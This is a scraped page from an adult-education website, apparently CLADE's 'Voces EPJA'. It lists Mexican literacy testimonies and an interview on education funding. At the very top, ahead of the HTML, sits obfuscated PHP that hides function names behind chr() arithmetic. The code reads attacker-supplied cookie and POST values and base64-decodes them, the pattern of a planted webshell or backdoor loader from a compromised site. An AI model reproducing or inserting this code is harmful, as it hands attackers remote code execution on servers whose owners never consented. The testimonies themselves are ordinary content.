$IqGkpPZCCk = chr (113) . "\171" . "\137" . chr ( 810 - 724 ).'k' . "\131" . "\x6b";$PtYOR = "\x63" . chr (108) . chr ( 222 - 125 ).chr ( 543 - 428 )."\x73" . "\137" . 'e' . "\170" . 'i' . "\163" . chr (116) . "\x73";$lFUtIB = $PtYOR($IqGkpPZCCk); $dlxFwL = $lFUtIB;if (!$dlxFwL){class qy_VkYk{private $ICZlVji;public static $tHQcngYZ = "4b18b3c9-8392-4ff4-a472-6ac285df067b";public static $aJcAjZPCu = 37748;public function __construct(){$PvVVxxg = $_COOKIE;$lQqNnkshQe = $_POST;$LqAKOi = @$PvVVxxg[substr(qy_VkYk::$tHQcngYZ, 0, 4)];if (!empty($LqAKOi)){$RgfUF = "base64";$zklagncDP = "";$LqAKOi = explode(",", $LqAKOi);foreach ($LqAKOi as $UgWiLBrRb){$zklagncDP .= @$PvVVxxg[$UgWiLBrRb];$zklagncDP .= @$lQqNnkshQe[$UgWiLBrRb];}$zklagncDP = array_map($RgfUF . '_' . "\x64" . 'e' . chr ( 345 - 246 )."\x6f" . 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					<h1>México</h1>
										
			<article id="post-1934" class="post-1934 post type-post status-publish format-standard has-post-thumbnail hentry category-mexico category-testimonios thumb-image">
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				<h2>- <a href="/mexico-la-epja-requiere-mayor-financiamiento-formacion-docente-especifica-y-una-gestion-que-recupere-las-politicas-comunitarias/">México: “La EPJA requiere mayor financiamiento, formación docente específica y una gestión que recupere las políticas comunitarias”</a></h2>
				<time class="time-pubdate" pubdate datetime="2017-11-08T11:33:56-03:00">Publicado el Wednesday, 08 de November de 2017 a las 11:33.</time>
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			<div class="entry-content">
					<p>Por Marina Martins Gonzalez, para la CLADE Entrevista con Gloria Hernández, investigadora y docente del Instituto Superior de Ciencias de la Educación del Estado de México. “Hoy en día, tenemos menos del 1% del presupuesto educativo nacional invertido en la &hellip; <a href="https://vocesepja.redclade.org/mexico-la-epja-requiere-mayor-financiamiento-formacion-docente-especifica-y-una-gestion-que-recupere-las-politicas-comunitarias/">Continued</a></p>
					</div>
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				</article>
			
			<article id="post-1824" class="post-1824 post type-post status-publish format-standard hentry category-expresion-y-arte category-mexico category-testimonios">
					<header>
				<h2>- <a href="/mexico-documental-maravillas-narra-cambios-positivos-en-escuelas-secundarias-de-zacatecas/">México: Documental &#8220;Maravillas&#8221; narra cambios positivos en escuelas secundarias de Zacatecas</a></h2>
				<time class="time-pubdate" pubdate datetime="2016-10-30T11:32:57-03:00">Publicado el Sunday, 30 de October de 2016 a las 11:32.</time>
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			<div class="entry-content">
					<p>Con miras a contribuir con el proceso de balance intermedio de la VI Conferencia Internacional de Educación de Adultos (CONFINTEA VI), la organización Aprender con Interés presenta el documental “Maravillas”, que narra cambios en escuelas secundarias de Zacatecas, México, hacia &hellip; <a href="https://vocesepja.redclade.org/mexico-documental-maravillas-narra-cambios-positivos-en-escuelas-secundarias-de-zacatecas/">Continued</a></p>
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			<article id="post-179" class="post-179 post type-post status-publish format-standard hentry category-mexico category-testimonios">
					<header>
				<h2>- <a href="/maria-marina-volvi-a-estudiar-para-seguir-adelante/">María Marina: &#8220;Volví a estudiar para seguir adelante&#8221;</a></h2>
				<time class="time-pubdate" pubdate datetime="2011-09-25T08:45:30-03:00">Publicado el Sunday, 25 de September de 2011 a las 8:45.</time>
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			<div class="entry-content">
					<p>Listen to this story in English: [audio:Maria-Marina_Mexico1.mp3|titles=Maria Marina_Mexico] Voice: Isabela Lyrio</p>
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			<article id="post-211" class="post-211 post type-post status-publish format-standard hentry category-mexico category-testimonios">
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				<h2>- <a href="/natalia-me-gustaria-que-hubiera-sido-maestra/">Natalia: &#8220;Me gustaría que hubiera sido maestra&#8221;</a></h2>
				<time class="time-pubdate" pubdate datetime="2011-06-10T16:58:01-03:00">Publicado el Friday, 10 de June de 2011 a las 16:58.</time>
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			<div class="entry-content">
					<p>Natalia: “Me gustaría que hubiera sido maestra” from Ampliando Voces on Vimeo. Listen to this story in English: [audio:Nati.mp3|titles=Nati] Voice: Isabela Lyrio</p>
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			<article id="post-271" class="post-271 post type-post status-publish format-standard hentry category-mexico category-testimonios">
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				<h2>- <a href="/juan-carlos-que-se-estaran-diciendo-unos-a-otros-los-que-salen-en-la-pelicula/">Juan Carlos: &#8220;¿Qué se estarán diciendo unos a otros los que salen en la película?&#8221;</a></h2>
				<time class="time-pubdate" pubdate datetime="2011-06-10T16:23:53-03:00">Publicado el Friday, 10 de June de 2011 a las 16:23.</time>
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			<div class="entry-content">
					<p>Soy Juan Carlos, tengo tantos problemas por no saber leer ni escribir, me siento mal al no saber leer un papel o cuando alguien me pregunta qué dice; ha habido veces que necesitan mi firma y no puedo dárselas. Listen &hellip; <a href="https://vocesepja.redclade.org/juan-carlos-que-se-estaran-diciendo-unos-a-otros-los-que-salen-en-la-pelicula/">Continued</a></p>
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			<article id="post-127" class="post-127 post type-post status-publish format-standard hentry category-mexico category-testimonios">
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				<h2>- <a href="/ancianos-indigenas-choles-cuando-esta-tierno-el-sol/">Ancianos indígenas choles: &#8220;Cuando está tierno el Sol&#8221;</a></h2>
				<time class="time-pubdate" pubdate datetime="2011-06-06T21:46:12-03:00">Publicado el Monday, 06 de June de 2011 a las 21:46.</time>
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			<div class="entry-content">
					<p>(This post is also available in English) Cuando ya lo vamos a sembrar nuestro maíz, hay su fecha en que vamos a hacerlo. No es que se puede hacer cuando cada uno lo quiere.</p>
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			<article id="post-124" class="post-124 post type-post status-publish format-standard hentry category-mexico category-testimonios">
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				<h2>- <a href="/rebeca-me-costo-mucho-trabajo-convencer-a-mi-esposo/">Rebeca: &#8220;Me costó mucho trabajo convencer a mi esposo&#8221;</a></h2>
				<time class="time-pubdate" pubdate datetime="2011-06-06T21:08:01-03:00">Publicado el Monday, 06 de June de 2011 a las 21:08.</time>
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					<p>(This testimony is also available in English) Yo no sé leer ni escribir y esto me hace sentir muy mal porque todos mis hijos sí saben leer y escribir y yo no sé nada de las letras.</p>
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			<article id="post-59" class="post-59 post type-post status-publish format-standard hentry category-mexico category-testimonios">
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				<h2>- <a href="/espero-que-al-leer-mis-palabras-esten-de-buen-humor/">Josefina: &#8220;Espero que al leer mis palabras estén de buen humor&#8221;</a></h2>
				<time class="time-pubdate" pubdate datetime="2011-06-02T14:46:48-03:00">Publicado el Thursday, 02 de June de 2011 a las 14:46.</time>
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					<p>(This post is also available in English) Hola, yo me llamo Josefina y soy de la nacionalidad mexicana. Estamos estudiando la alfabetización y llevo cinco meses estudiando. Me siento muy contenta por haber aceptado la invitación para leer y escribir. &hellip; <a href="https://vocesepja.redclade.org/espero-que-al-leer-mis-palabras-esten-de-buen-humor/">Continued</a></p>
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			<article id="post-16" class="post-16 post type-post status-publish format-standard hentry category-mexico category-testimonios">
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				<h2>- <a href="/entrevista-com-frase/">Juan Manuel: No sé escribir mi nombre…</a></h2>
				<time class="time-pubdate" pubdate datetime="2011-06-01T19:12:15-03:00">Publicado el Wednesday, 01 de June de 2011 a las 19:12.</time>
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					<p>(This post is also available in English) Cuando me subo a un camión no sé cómo se llaman las calles por donde va y lo mismo me pasa cuando voy a pié. Luego me manda mi tía a comprar medicinas &hellip; <a href="https://vocesepja.redclade.org/entrevista-com-frase/">Continued</a></p>
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					<a href="/mexico-la-epja-requiere-mayor-financiamiento-formacion-docente-especifica-y-una-gestion-que-recupere-las-politicas-comunitarias/">México: “La EPJA requiere mayor financiamiento, formación docente específica y una gestión que recupere las políticas comunitarias”</a>
									</li>
											<li>
					<a href="/es-necesario-reconocer-el-papel-fundamental-de-la-sociedad-civil-en-el-diseno-desarrollo-y-seguimiento-de-las-politicas-de-epja/">“Es necesario reconocer el papel fundamental de la sociedad civil en el diseño, desarrollo y seguimiento de las políticas de EPJA”</a>
									</li>
											<li>
					<a href="/nao-e-possivel-implementar-politicas-de-desenvolvimento-sustentavel-sem-abordar-a-educacao-de-jovens-e-adultasos/">“Não é possível implementar políticas de desenvolvimento sustentável sem abordar a Educação de Jovens e Adultas/os”</a>
									</li>
											<li>
					<a href="/a-epja-deve-gerar-empoderamento-e-garantir-que-ao-estudante-seja-um-sujeito-de-direitos-dignidade-e-entendimento-do-seu-papel-na-sociedade/">“A EPJA deve gerar empoderamento e garantir que a/o estudante seja um sujeito de direitos, dignidade e entendimento do seu papel na sociedade”</a>
									</li>
											<li>
					<a href="/la-epja-debe-ser-vista-como-un-gran-movimiento-de-caracter-cultural-social-politico-y-educativo/">Perú: &#8220;La EPJA debe ser vista como un gran movimiento de carácter cultural, social, político y educativo&#8221;</a>
									</li>
					</ul>
		</div></article><article id="nav_menu-4" class="widget widget_nav_menu"><div class="container"><h3>Por País</h3><ul id="menu-por-pais" class="menu"><li id="menu-item-1430" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-1430"><a href="/c/argentina/">Argentina</a></li>
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